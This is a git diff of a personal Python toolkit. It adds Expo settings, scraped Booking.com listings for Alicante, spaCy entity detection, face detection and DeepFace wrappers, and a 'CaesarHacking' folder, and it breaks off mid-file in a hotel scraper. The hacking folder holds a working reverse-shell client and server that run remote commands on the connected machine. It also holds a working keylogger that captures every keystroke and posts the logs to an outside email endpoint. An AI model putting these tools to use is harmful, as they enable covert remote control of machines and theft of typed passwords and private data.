diff --git a/.expo/README.md b/.expo/README.md new file mode 100644 index 0000000000000000000000000000000000000000..fd146b4d3ae4518e8fb41e62b4852c1eca577214 --- /dev/null +++ b/.expo/README.md @@ -0,0 +1,15 @@ +> Why do I have a folder named ".expo" in my project? + +The ".expo" folder is created when an Expo project is started using "expo start" command. + +> What do the files contain? + +- "devices.json": contains information about devices that have recently opened this project. This is used to populate the "Development sessions" list in your development builds. +- "packager-info.json": contains port numbers and process PIDs that are used to serve the application to the mobile device/simulator. +- "settings.json": contains the server configuration that is used to serve the application manifest. + +> Should I commit the ".expo" folder? + +No, you should not share the ".expo" folder. It does not contain any information that is relevant for other developers working on the project, it is specific to your machine. + +Upon project creation, the ".expo" folder is already added to your ".gitignore" file. diff --git a/.expo/settings.json b/.expo/settings.json new file mode 100644 index 0000000000000000000000000000000000000000..92bc513bfdb3237776fc5cf6ee3c5be6aadc058c --- /dev/null +++ b/.expo/settings.json @@ -0,0 +1,8 @@ +{ + "hostType": "lan", + "lanType": "ip", + "dev": true, + "minify": false, + "urlRandomness": null, + "https": false +} diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000000000000000000000000000000000000..e9d7a45d49da2fbf50b3b4dc35be751b59b9c681 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,45 @@ +*.7z filter=lfs diff=lfs merge=lfs -text +*.arrow filter=lfs diff=lfs merge=lfs -text +*.bin filter=lfs diff=lfs merge=lfs -text +*.bz2 filter=lfs diff=lfs merge=lfs -text +*.ckpt filter=lfs diff=lfs merge=lfs -text +*.ftz filter=lfs diff=lfs merge=lfs -text +*.gz filter=lfs diff=lfs merge=lfs -text +*.h5 filter=lfs diff=lfs merge=lfs -text +*.joblib filter=lfs diff=lfs merge=lfs -text +*.lfs.* filter=lfs diff=lfs merge=lfs -text +*.mlmodel filter=lfs diff=lfs merge=lfs -text +*.model filter=lfs diff=lfs merge=lfs -text +*.msgpack filter=lfs diff=lfs merge=lfs -text +*.npy filter=lfs diff=lfs merge=lfs -text +*.npz filter=lfs diff=lfs merge=lfs -text +*.onnx filter=lfs diff=lfs merge=lfs -text +*.ot filter=lfs diff=lfs merge=lfs -text +*.parquet filter=lfs diff=lfs merge=lfs -text +*.pb filter=lfs diff=lfs merge=lfs -text +*.pickle filter=lfs diff=lfs merge=lfs -text +*.pkl filter=lfs diff=lfs merge=lfs -text +*.pt filter=lfs diff=lfs merge=lfs -text +*.pth filter=lfs diff=lfs merge=lfs -text +*.rar filter=lfs diff=lfs merge=lfs -text +*.safetensors filter=lfs diff=lfs merge=lfs -text +saved_model/**/* filter=lfs diff=lfs merge=lfs -text +*.tar.* filter=lfs diff=lfs merge=lfs -text +*.tflite filter=lfs diff=lfs merge=lfs -text +*.tgz filter=lfs diff=lfs merge=lfs -text +*.wasm filter=lfs diff=lfs merge=lfs -text +*.xz filter=lfs diff=lfs merge=lfs -text +*.zip filter=lfs diff=lfs merge=lfs -text +*.zst filter=lfs diff=lfs merge=lfs -text +*tfevents* filter=lfs diff=lfs merge=lfs -text +*.jpg filter=lfs diff=lfs merge=lfs -text +*.names filter=lfs diff=lfs merge=lfs -text +*.cfg filter=lfs diff=lfs merge=lfs -text +*.weights filter=lfs diff=lfs merge=lfs -text +hello.mp3 filter=lfs diff=lfs merge=lfs -text +artificial[[:space:]]neural[[:space:]]networks.png filter=lfs diff=lfs merge=lfs -text +caesarapis.json filter=lfs diff=lfs merge=lfs -text +caesartriggers.json filter=lfs diff=lfs merge=lfs -text +*.caffemodel filter=lfs diff=lfs merge=lfs -text +haarcascade_fontalface_default.xml filter=lfs diff=lfs merge=lfs -text +deploy.prototxt.txt filter=lfs diff=lfs merge=lfs -text diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..402bceb95498710b587219996a5b848dc6822a45 --- /dev/null +++ b/.gitignore @@ -0,0 +1,7 @@ +res10_300x300_ssd_iter_140000_fp16.caffemodel +deploy.prototxt.txt +CaesarKivy +*.mp4 +*.avi +*.wav +beewareenv \ No newline at end of file diff --git a/Bookings/alicante_bookings.json b/Bookings/alicante_bookings.json new file mode 100644 index 0000000000000000000000000000000000000000..da366e5c38649d51b053a07c4c8b65130b339870 --- /dev/null +++ b/Bookings/alicante_bookings.json @@ -0,0 +1,116 @@ +{ + "alicante_bookings_lower_than_2000": [ + { + "address": "Alicante", + "assumed_final_price": 1976.3999999999999, + "assumed_vat": "20.0%", + "booking": "7 nights, 8 adults", + "checkin_date": "2023-8-15", + "checkout_date": "2023-8-22", + "city": "Alicante", + "distance": "0.8 miles from centre", + "location": "https://www.booking.com/hotel/es/beach-5-min-relax.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=15&hapos=15&sr_order=popularity&srpvid=01528e460f4b0724&srepoch=1672949646&all_sr_blocks=865019901_354653449_8_0_0&highlighted_blocks=865019901_354653449_8_0_0&matching_block_id=865019901_354653449_8_0_0&sr_pri_blocks=865019901_354653449_8_0_0__155288&from_beach_sr=1&from=searchresults&map=1", + "price": 1647.0, + "rating": 8.5, + "reviews": "74 reviews", + "room": "Apartment", + "title": "Beach 5 MIN Playa" + }, + { + "address": "Alicante", + "assumed_final_price": 1363.2, + "assumed_vat": "20.0%", + "booking": "7 nights, 8 adults", + "checkin_date": "2023-8-15", + "checkout_date": "2023-8-22", + "city": "Alicante", + "distance": "1 miles from centre", + "location": "https://www.booking.com/hotel/es/gonzalo-mengual-apartment.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=23&hapos=23&sr_order=popularity&srpvid=01528e460f4b0724&srepoch=1672949646&all_sr_blocks=368159701_295762440_8_0_0&highlighted_blocks=368159701_295762440_8_0_0&matching_block_id=368159701_295762440_8_0_0&sr_pri_blocks=368159701_295762440_8_0_0__107100&from_beach_sr=1&from=searchresults&map=1", + "price": 1136.0, + "rating": 7.5, + "reviews": "97 reviews", + "room": "Apartment", + "title": "Very best flat with sea view, just 800m Postiguet-Beach" + }, + { + "address": "Alicante", + "assumed_final_price": 1363.2, + "assumed_vat": "20.0%", + "booking": "7 nights, 8 adults", + "checkin_date": "2023-8-15", + "checkout_date": "2023-8-22", + "city": "Alicante", + "distance": "1 miles from centre", + "location": "https://www.booking.com/hotel/es/gonzalo-mengual-apartment.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=1&hapos=26&sr_order=popularity&srpvid=44078e50e09a0255&srepoch=1672949666&all_sr_blocks=368159701_295762440_8_0_0&highlighted_blocks=368159701_295762440_8_0_0&matching_block_id=368159701_295762440_8_0_0&sr_pri_blocks=368159701_295762440_8_0_0__107100&from_beach_sr=1&from=searchresults&map=1", + "price": 1136.0, + "rating": 9.2, + "reviews": "17 reviews", + "room": "Apartment", + "title": "Very best flat with sea view, just 800m Postiguet-Beach" + }, + { + "address": "Alicante", + "assumed_final_price": 1959.6, + "assumed_vat": "20.0%", + "booking": "7 nights, 8 adults", + "checkin_date": "2023-8-15", + "checkout_date": "2023-8-22", + "city": "Alicante", + "distance": "0.4 miles from centre", + "location": "https://www.booking.com/hotel/es/espacioso-luminoso-coqueto-y-muy-centrico.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=18&hapos=43&sr_order=popularity&srpvid=44078e50e09a0255&srepoch=1672949666&all_sr_blocks=460841701_167414053_8_0_0&highlighted_blocks=460841701_167414053_8_0_0&matching_block_id=460841701_167414053_8_0_0&sr_pri_blocks=460841701_167414053_8_0_0__154000&from_beach_sr=1&from=searchresults&map=1", + "price": 1633.0, + "rating": 6.7, + "reviews": "4 reviews", + "room": "Apartment", + "title": "Espacioso, luminoso, coqueto, y muy céntrico" + }, + { + "address": "Alicante", + "assumed_final_price": 1585.2, + "assumed_vat": "20.0%", + "booking": "7 nights, 8 adults", + "checkin_date": "2023-8-15", + "checkout_date": "2023-8-22", + "city": "Alicante", + "distance": "0.4 miles from centre", + "location": "https://www.booking.com/hotel/es/duplex-apartment-in-apart-alicante-center-with-private-terrace-and-jacuzzi.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=3&hapos=128&sr_order=popularity&srpvid=04db8e76e60c0946&srepoch=1672949742&all_sr_blocks=856186404_353169334_0_0_0%2C856186402_353169334_0_0_0&highlighted_blocks=856186404_353169334_0_0_0%2C856186402_353169334_0_0_0&matching_block_id=856186404_353169334_0_0_0&sr_pri_blocks=856186404_353169334_0_0_0__69552%2C856186402_353169334_0_0_0__55062&from_beach_sr=1&from=searchresults&map=1", + "price": 1321.0, + "rating": 8.3, + "reviews": "4 reviews", + "room": "Studio Apartment", + "title": "Happy Life Apartments" + }, + { + "address": "Alicante", + "assumed_final_price": 1904.3999999999999, + "assumed_vat": "20.0%", + "booking": "7 nights, 8 adults", + "checkin_date": "2023-8-15", + "checkout_date": "2023-8-22", + "city": "Alicante", + "distance": "0.3 miles from centre", + "location": "https://www.booking.com/hotel/es/the-market-hostel.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=20&hapos=170&sr_order=popularity&srpvid=4b6a8e7ff36d0089&srepoch=1672949760&all_sr_blocks=385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580304_337859799_0_0_0%2C385580304_337859799_0_0_0%2C385580304_337859799_0_0_0&highlighted_blocks=385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580305_337859799_0_0_0%2C385580304_337859799_0_0_0%2C385580304_337859799_0_0_0%2C385580304_337859799_0_0_0&matching_block_id=385580305_337859799_0_0_0&sr_pri_blocks=385580305_337859799_0_0_0__18456%2C385580305_337859799_0_0_0__18456%2C385580305_337859799_0_0_0__18456%2C385580305_337859799_0_0_0__18456%2C385580305_337859799_0_0_0__18456%2C385580304_337859799_0_0_0__19139%2C385580304_337859799_0_0_0__19139%2C385580304_337859799_0_0_0__19139&from_beach_sr=1&from=searchresults&map=1", + "price": 1587.0, + "rating": 8.7, + "reviews": "886 reviews", + "room": "Bed in 10-Bed Mixed Dormitory Room", + "title": "The Market Hostel" + }, + { + "address": "Alicante", + "assumed_final_price": 1514.3999999999999, + "assumed_vat": "20.0%", + "booking": "7 nights, 8 adults", + "checkin_date": "2023-8-15", + "checkout_date": "2023-8-22", + "city": "Alicante", + "distance": "1.8 miles from centre", + "location": "https://www.booking.com/hotel/es/carrer-abad-fernandez-helguera.en-gb.html?label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&ucfs=1&arphpl=1&checkin=2023-08-15&checkout=2023-08-22&group_adults=8&req_adults=8&no_rooms=5&group_children=0&req_children=0&hpos=21&hapos=171&sr_order=popularity&srpvid=4b6a8e7ff36d0089&srepoch=1672949760&all_sr_blocks=922570301_363985271_2_0_0%2C922570305_363985271_2_0_0%2C922570303_363985271_2_0_0%2C922570304_363985271_2_0_0&highlighted_blocks=922570301_363985271_2_0_0%2C922570305_363985271_2_0_0%2C922570303_363985271_2_0_0%2C922570304_363985271_2_0_0&matching_block_id=922570301_363985271_2_0_0&sr_pri_blocks=922570301_363985271_2_0_0__21000%2C922570305_363985271_2_0_0__28000%2C922570303_363985271_2_0_0__31500%2C922570304_363985271_2_0_0__38500&from_beach_sr=1&from_sustainable_property_sr=1&from=searchresults&map=1", + "price": 1262.0, + "rating": 4.2, + "reviews": "22 reviews", + "room": "Economy Double Room", + "title": "Carrer Abad Fernández Helguera" + } + ] + } \ No newline at end of file diff --git a/CaesarDetectEntity.py b/CaesarDetectEntity.py new file mode 100644 index 0000000000000000000000000000000000000000..dbf141177b3eefa6029cbf038294ca7479d4c21e --- /dev/null +++ b/CaesarDetectEntity.py @@ -0,0 +1,32 @@ +import re +import spacy +import gtts +class CaesarDetectEntity: + def __init__(self): + self.languages = {v: k for k, v in gtts.lang.tts_langs().items()} + self.NER = spacy.load("en_core_web_sm") + self.main_entities = {"email":"ORG","translate":"NORP"} + def index_of_word(self,word,text): + matches_start = re.finditer(word.lower(), text.lower()) + matches_position_start = [match.start() for match in matches_start] + + # matches_position_end will be a list of ending index positions + matches_end = re.finditer(word.lower(), text.lower()) + matches_position_end = [match.end() for match in matches_end] + return matches_position_start[0],matches_position_end[0] + def show_entites(self,text): + text1 = self.NER(text) + for word in text1.ents: + print(word.text,word.label_) + def run(self,word,text,entity="NORP"): + try: + text1= self.NER(text) + target_lang = [word.text for word in text1.ents if word.label_ == entity][0] + source_text = text[self.index_of_word(word,text)[-1]:self.index_of_word(target_lang,text)[0]].replace(" to","").replace(" into","").replace(" in","").strip() + #api_call = f"translate({source_text},'{self.languages[target_lang.capitalize()]}')" + return source_text,self.languages[target_lang.capitalize()] + except (IndexError,KeyError) as kex: + source_text = text[self.index_of_word(word,text)[-1]:].replace(" to","").replace(" into","").replace(" in","").strip() + #api_call = f"translate({source_text},'{self.languages[target_lang.capitalize()]}')" + languages = None + return source_text,languages \ No newline at end of file diff --git a/CaesarEssayGeneration/caesaressaygeneration.py b/CaesarEssayGeneration/caesaressaygeneration.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/CaesarEssayGeneration/caesarparaphrasing.py b/CaesarEssayGeneration/caesarparaphrasing.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/CaesarFaceDetection/__pycache__/caesarfd.cpython-37.pyc b/CaesarFaceDetection/__pycache__/caesarfd.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..2431f64b871e733ec751bc1e05a275a9d385d237 Binary files /dev/null and b/CaesarFaceDetection/__pycache__/caesarfd.cpython-37.pyc differ diff --git a/CaesarFaceDetection/caesarfd.py b/CaesarFaceDetection/caesarfd.py new file mode 100644 index 0000000000000000000000000000000000000000..be2d2723f5dcc2668e972894193872136802db14 --- /dev/null +++ b/CaesarFaceDetection/caesarfd.py @@ -0,0 +1,48 @@ +import cv2 +import numpy as np + + + +class CaesarFaceDetection: + def __init__(self) -> None: + # https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt + prototxt_path = "CaesarFaceDetection/weights/deploy.prototxt.txt" + # https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel + model_path = "CaesarFaceDetection/weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" + + # load Caffe model + self.model = cv2.dnn.readNetFromCaffe(prototxt_path, model_path) + def detect_face(self,image, showtext=False,snapcropface=False): + h, w = image.shape[:2] + # preprocess the image: resize and performs mean subtraction + blob = cv2.dnn.blobFromImage(image, 1.0, (300, 300), (104.0, 177.0, 123.0)) + # set the image into the input of the neural network + self.model.setInput(blob) + # perform inference and get the result + output = np.squeeze(self.model.forward()) + font_scale = 1.0 + for i in range(0, output.shape[0]): + # get the confidence + confidence = output[i, 2] + # if confidence is above 50%, then draw the surrounding box + if confidence > 0.5: + # get the surrounding box cordinates and upscale them to original image + box = output[i, 3:7] * np.array([w, h, w, h]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # draw the rectangle surrounding the face + start_point = (start_x, start_y) + end_point = (end_x, end_y) + if snapcropface == True: + factor_add = 20 + crop_img = image[start_y- factor_add:end_y+ factor_add, start_x- factor_add:end_x + factor_add] + return crop_img + #cv2.imshow("cropped", crop_img) + #cv2.waitKey(0) + + cv2.rectangle(image,start_point,end_point, color=(255, 0, 0), thickness=2) + # draw text as well + if showtext == True: + cv2.putText(image, f"{confidence*100:.2f}%", (start_x, start_y-5), cv2.FONT_HERSHEY_SIMPLEX, font_scale, (255, 0, 0), 2) + if snapcropface != True: + return image diff --git a/CaesarFaceDetection/cascades/haarcascade_fontalface_default.xml b/CaesarFaceDetection/cascades/haarcascade_fontalface_default.xml new file mode 100644 index 0000000000000000000000000000000000000000..45622ce1c23bff1cf4b505dd254cfc35a5504a7e --- /dev/null +++ b/CaesarFaceDetection/cascades/haarcascade_fontalface_default.xml @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a1b5468d67aa6c291f3b1d2bf98181844e4d0433c31d696a2198029e0e94bc7b +size 930126 diff --git a/CaesarFaceRecognition/__pycache__/caesardeepface.cpython-37.pyc b/CaesarFaceRecognition/__pycache__/caesardeepface.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..dbdf9a430f044618c478dcc629fba148022d3bf0 Binary files /dev/null and b/CaesarFaceRecognition/__pycache__/caesardeepface.cpython-37.pyc differ diff --git a/CaesarFaceRecognition/caesardeepface.py b/CaesarFaceRecognition/caesardeepface.py new file mode 100644 index 0000000000000000000000000000000000000000..39fd1bb843629259132e8ce01724b500434a6c8f --- /dev/null +++ b/CaesarFaceRecognition/caesardeepface.py @@ -0,0 +1,50 @@ +from deepface import DeepFace + +class CaesarDeepFace: + """ + https://github.com/serengil/deepface + """ + def __init__(self) -> None: + self.metrics = ["cosine", "euclidean", "euclidean_l2"] + self.models = ["VGG-Face", "Facenet", "Facenet512", "OpenFace", "DeepFace", "DeepID", "ArcFace", "Dlib", "SFace"] + self.backends = [ + 'opencv', + 'ssd', + 'dlib', + 'mtcnn', + 'retinaface', + 'mediapipe' + ] + def face_authentication(self,filename1="img1.jpg",filename2="img2.jpg"): + #face verification + # Value Error + try: + result = DeepFace.verify(img1_path =filename1 , + img2_path = filename2, + distance_metric = self.metrics[0], + model_name = self.models[0], + detector_backend = self.backends[0] + ) + return result + except ValueError as vex: + return {"message":"Face wasn't detected","error":f"{type(vex)},{vex}"} + def face_recognition(self,filename,db_path="C:/workspace/my_db"): + dfs = DeepFace.find(img_path =filename, + db_path = db_path, + distance_metric = self.metrics[2]) + return dfs + def face_analyze(self,filename="img1.jpg"): + objs = DeepFace.analyze(img_path = filename, + actions = ['age', 'gender', 'race', 'emotion']) + return objs + def face_embeddigns(self,filename): + embedding_objs = DeepFace.represent(img_path = filename) + return embedding_objs + def face_streaming(self,db_path="C:/User/Sefik/Desktop/database"): + DeepFace.stream(db_path = db_path) + + +if __name__ == "__main__": + caesardeepface = CaesarDeepFace() + result = caesardeepface.face_authentication(filename2="img3.jpg") + print(result) \ No newline at end of file diff --git a/CaesarFaceRecognition/testimages/amari.jpg b/CaesarFaceRecognition/testimages/amari.jpg new file mode 100644 index 0000000000000000000000000000000000000000..47877b2781936fa0e5138e15ad76f5c885185248 --- /dev/null +++ b/CaesarFaceRecognition/testimages/amari.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bb685c8094b02e9275f793951bb912373fbc6e8dc4097c4eda874cc565a18260 +size 990237 diff --git a/CaesarFaceRecognition/testimages/amariauth.jpg b/CaesarFaceRecognition/testimages/amariauth.jpg new file mode 100644 index 0000000000000000000000000000000000000000..a2673435e80bd06dd79056780de5c450ef483709 --- /dev/null +++ b/CaesarFaceRecognition/testimages/amariauth.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a351d0dde4b444e41b73b1f40e1cc1ce20c8e992de2a3d0e2e428df487076174 +size 881920 diff --git a/CaesarFaceRecognition/testimages/img3.jpg b/CaesarFaceRecognition/testimages/img3.jpg new file mode 100644 index 0000000000000000000000000000000000000000..7f3de04bbc00cb399895a1acbe542bbf74a02229 --- /dev/null +++ b/CaesarFaceRecognition/testimages/img3.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3c21c5958f5b90e3b70df7ceb06d22f66ed359a03c3f41391a92850149ee2d07 +size 5697 diff --git a/CaesarHacking/caesarReverseShell/client.py b/CaesarHacking/caesarReverseShell/client.py new file mode 100644 index 0000000000000000000000000000000000000000..4ff91e2d563f14290211232d15b116ba5c4b0d68 --- /dev/null +++ b/CaesarHacking/caesarReverseShell/client.py @@ -0,0 +1,48 @@ +import socket +import os +import subprocess +import sys + +SERVER_HOST = sys.argv[1] +SERVER_PORT = 5003 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase +# separator string for sending 2 messages in one go +SEPARATOR = "" + +# create the socket object +s = socket.socket() +# connect to the server +s.connect((SERVER_HOST, SERVER_PORT)) + +# get the current directory +cwd = os.getcwd() +s.send(cwd.encode()) + + +while True: + # receive the command from the server + command = s.recv(BUFFER_SIZE).decode() + splited_command = command.split() + if command.lower() == "exit": + # if the command is exit, just break out of the loop + break + if splited_command[0].lower() == "cd": + # cd command, change directory + try: + os.chdir(' '.join(splited_command[1:])) + except FileNotFoundError as e: + # if there is an error, set as the output + output = str(e) + else: + # if operation is successful, empty message + output = "" + else: + # execute the command and retrieve the results + output = subprocess.getoutput(command) + # get the current working directory as output + cwd = os.getcwd() + # send the results back to the server + message = f"{output}{SEPARATOR}{cwd}" + s.send(message.encode()) +# close client connection +s.close() \ No newline at end of file diff --git a/CaesarHacking/caesarReverseShell/server.py b/CaesarHacking/caesarReverseShell/server.py new file mode 100644 index 0000000000000000000000000000000000000000..71bd147690784a133fa7d8e5e59527a8e24d9129 --- /dev/null +++ b/CaesarHacking/caesarReverseShell/server.py @@ -0,0 +1,42 @@ +import socket + +SERVER_HOST = "0.0.0.0" +SERVER_PORT = 5003 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase +# separator string for sending 2 messages in one go +SEPARATOR = "" +# create a socket object +s = socket.socket() + +# bind the socket to all IP addresses of this host +s.bind((SERVER_HOST, SERVER_PORT)) + +s.listen(5) +print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...") + +# accept any connections attempted +client_socket, client_address = s.accept() +print(f"{client_address[0]}:{client_address[1]} Connected!") + +# receiving the current working directory of the client +cwd = client_socket.recv(BUFFER_SIZE).decode() +print("[+] Current working directory:", cwd) + + +while True: + # get the command from prompt + command = input(f"{cwd} $> ") + if not command.strip(): + # empty command + continue + # send the command to the client + client_socket.send(command.encode()) + if command.lower() == "exit": + # if the command is exit, just break out of the loop + break + # retrieve command results + output = client_socket.recv(BUFFER_SIZE).decode() + # split command output and current directory + results, cwd = output.split(SEPARATOR) + # print output + print(results) \ No newline at end of file diff --git a/CaesarHacking/caesarkeylogger.py b/CaesarHacking/caesarkeylogger.py new file mode 100644 index 0000000000000000000000000000000000000000..f4add80c0f4a5bfacd1acc4f41a70888a12be453 --- /dev/null +++ b/CaesarHacking/caesarkeylogger.py @@ -0,0 +1,135 @@ +import sys +import base64 +import keyboard # for keylogs +import requests +import smtplib, ssl # for sending email using SMTP protocol (gmail) +# Timer is to make a method runs after an `interval` amount of time +from threading import Timer +from datetime import datetime +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText + +class Keylogger: + def __init__(self, interval, report_method="email"): + # we gonna pass SEND_REPORT_EVERY to interval + self.interval = interval + self.report_method = report_method + # this is the string variable that contains the log of all + # the keystrokes within `self.interval` + self.log = "" + # record start & end datetimes + self.start_dt = datetime.now() + self.end_dt = datetime.now() + + def callback(self, event): + """ + This callback is invoked whenever a keyboard event is occured + (i.e when a key is released in this example) + """ + name = event.name + if len(name) > 1: + # not a character, special key (e.g ctrl, alt, etc.) + # uppercase with [] + if name == "space": + # " " instead of "space" hello world my name is amari + name = " " + elif name == "enter": + # add a new line whenever an ENTER is pressed + name = "[ENTER]\n" + elif name == "decimal": + name = "." + else: + # replace spaces with underscores + name = name.replace(" ", "_") + name = f"[{name.upper()}]" + # finally, add the key name to our global `self.log` variable + self.log += name + + def update_filename(self): + # construct the filename to be identified by start & end datetimes + start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") + end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") + self.filename = f"keylog-{start_dt_str}_{end_dt_str}" + + def report_to_file(self): + """This method creates a log file in the current directory that contains + the current keylogs in the `self.log` variable""" + # open the file in write mode (create it) + with open(f"{self.filename}.txt", "w") as f: + # write the keylogs to the file + print(self.log, file=f) + print(f"[+] Saved {self.filename}.txt") + + + def sendmail(self, recipient_email , message, verbose=1): + # manages a connection to an SMTP server + # in our case it's for Microsoft365, Outlook, Hotmail, and live.com + response = requests.post("https://revisionbank-email.onrender.com/raspsendemail",json={"raspsendemail":{"email":recipient_email,"message":message,"subject":"Caesar Guest KeyLogger"}}).json() + + if verbose: + print(f"{datetime.now()} - Sent an email to {recipient_email} containing: {message}") + print(response) + + def report(self): + """ + This function gets called every `self.interval` + It basically sends keylogs and resets `self.log` variable + """ + if self.log: + # if there is something in log, report it + self.end_dt = datetime.now() + # update `self.filename` + self.update_filename() + if self.report_method == "email": + self.sendmail(TO_EMAIL_ADDRESS, self.log) + elif self.report_method == "file": + self.report_to_file() + # if you don't want to print in the console, comment below line + print(f"[{self.filename}] - {self.log}") + self.start_dt = datetime.now() + self.log = "" + timer = Timer(interval=self.interval, function=self.report) + # set the thread as daemon (dies when main thread die) + timer.daemon = True + # start the timer + timer.start() + + def start(self): + # record the start datetime + self.start_dt = datetime.now() + # start the keylogger + keyboard.on_release(callback=self.callback) + # start reporting the keylogs + self.report() + # make a simple message + print(f"{datetime.now()} - Started keylogger") + # block the current thread, wait until CTRL+C is pressed + keyboard.wait() + + +if __name__ == "__main__": + # in seconds, 60 means 1 minute and so on + if len(sys.argv) == 3: + if sys.argv[1] == "help": + print("caesarkeylogger.exe ") + elif sys.argv[1] != "help": + TO_EMAIL_ADDRESS = sys.argv[1] + SEND_REPORT_EVERY = int(sys.argv[2]) + # if you want a keylogger to send to your email + # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") + # if you want a keylogger to record keylogs to a local file + # (and then send it using your favorite method) + past = datetime(2022, 12, 30) + present = datetime.now() + + if past.date() >= present.date(): + report_method = "email" + else: + report_method= "file" + + keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method=report_method) + keylogger.start() + + + elif len(sys.argv) != 3: + print("caesarkeylogger.exe ") diff --git a/CaesarHacking/test.py b/CaesarHacking/test.py new file mode 100644 index 0000000000000000000000000000000000000000..ebb9317494cc1c365dab7f5412d80ebf8496caef --- /dev/null +++ b/CaesarHacking/test.py @@ -0,0 +1,3 @@ +from datetime import datetime + + diff --git a/CaesarHotelBooking/__pycache__/caesarhotelbooking.cpython-37.pyc b/CaesarHotelBooking/__pycache__/caesarhotelbooking.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..32d50c33d3a0f3341d664ba31be1ac75c009fbf6 Binary files /dev/null and b/CaesarHotelBooking/__pycache__/caesarhotelbooking.cpython-37.pyc differ diff --git a/CaesarHotelBooking/__pycache__/caesarhotelbooking.cpython-39.pyc b/CaesarHotelBooking/__pycache__/caesarhotelbooking.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..c521a481142ae3ca65011142dd104c5e1e0bca46 Binary files /dev/null and b/CaesarHotelBooking/__pycache__/caesarhotelbooking.cpython-39.pyc differ diff --git a/CaesarHotelBooking/caesarhotelbooking.py b/CaesarHotelBooking/caesarhotelbooking.py new file mode 100644 index 0000000000000000000000000000000000000000..61e8cf438dc42adc7d842980e979d7ef78711fbf --- /dev/null +++ b/CaesarHotelBooking/caesarhotelbooking.py @@ -0,0 +1,186 @@ +# -*- coding: utf-8 -*- +import itertools +import re +import sys +import requests +import json +from bs4 import BeautifulSoup +from tqdm import tqdm + +class CaesarHotelBooking: + def __init__(self) -> None: + pass + + @classmethod + def create_url(self,city,num_of_adults,num_of_rooms,num_of_children,checkin_date,checkout_date,purpose,page_num=1): + # pages go in 25 intervals + self.checkin_date = checkin_date + self.checkout_date = checkout_date + self.city = city + page_num_offset = (page_num-1) * 25 + url = f"https://www.booking.com/searchresults.en-gb.html?ss={city}&label=gen173nr-1FCAEoggI46AdIM1gEaGyIAQGYATG4AQfIAQzYAQHoAQH4AQKIAgGoAgO4AvTIm_IFwAIB&aid=304142&lang=en-gb&sb=1&src_elem=sb&src=searchresults&checkin={checkin_date}&checkout={checkout_date}&group_adults={num_of_adults}&no_rooms={num_of_rooms}&group_children={num_of_children}&sb_travel_purpose={purpose}&offset={page_num_offset}" + return url + @staticmethod + 